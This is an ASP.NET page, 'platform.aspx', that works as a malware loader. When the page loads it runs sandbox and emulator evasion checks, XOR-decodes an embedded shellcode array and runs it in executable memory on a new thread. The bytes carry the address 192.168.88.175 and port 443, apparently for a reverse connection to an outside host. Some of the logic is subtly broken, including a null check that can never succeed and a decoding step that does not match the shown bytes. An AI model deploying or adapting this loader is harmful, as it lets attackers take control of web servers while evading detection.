platform.aspx

<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
    private static Int32 MEM_COMMIT=0x1000;
    private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;

    [System.Runtime.InteropServices.DllImport("kernel32")]
    private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);

    [System.Runtime.InteropServices.DllImport("kernel32")]
    private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);

    [System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);

    [System.Runtime.InteropServices.DllImport("kernel32.dll")]
    private static extern IntPtr GetCurrentProcess();

    [System.Runtime.InteropServices.DllImport("kernel32.dll")]
    private static extern void Sleep(uint dwMilliseconds);

    protected void Page_Load(object sender, EventArgs e)
    {
        // Check if we're in a sandbox by calling a rare-emulated API
        IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
        if(mem == null)
        {
            return;
        }
        // Sleep to evade in-memory scan + check if the emulator did not fast-forward through the sleep instruction
        var rand = new Random();
        uint dream = (uint)rand.Next(10000, 20000);
        double delta = dream / 1000 - 0.5;
        DateTime before = DateTime.Now;
        Sleep(dream);
        if (DateTime.Now.Subtract(before).TotalSeconds < delta)
        {
            return;
        }

        byte[] k3DwWTZRW = new byte[699] {
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0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x00,0x00,0x00,0x00,0xff,0xd5,0xe8,0x0f,0x00,0x00,0x00,
0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x38,0x38,0x2e,0x31,0x37,0x35,0x00,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x01,0x00,
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0x00,0x00,0x49,0xba,0x44,0xf0,0x35,0xe0,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0xff,0xcf,0x74,0x02,0xeb,0xaa,0xe8,0x55,0x00,0x00,
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0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x00,0x20,0x00,
0x00,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,
0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 };

        for (int i = 0; i < k3DwWTZRW.Length; i++)
        {
            k3DwWTZRW[i] = (byte)(k3DwWTZRW[i] ^ (byte)'a');
        }

        IntPtr dLASl2bvqxG = VirtualAlloc(IntPtr.Zero,(UIntPtr)k3DwWTZRW.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        System.Runtime.InteropServices.Marshal.Copy(k3DwWTZRW,0,dLASl2bvqxG,k3DwWTZRW.Length);
        IntPtr kaESXrsX = IntPtr.Zero;
        IntPtr zZ2c_On8dlga = CreateThread(IntPtr.Zero,UIntPtr.Zero,dLASl2bvqxG,IntPtr.Zero,0,ref kaESXrsX);
    }
</script>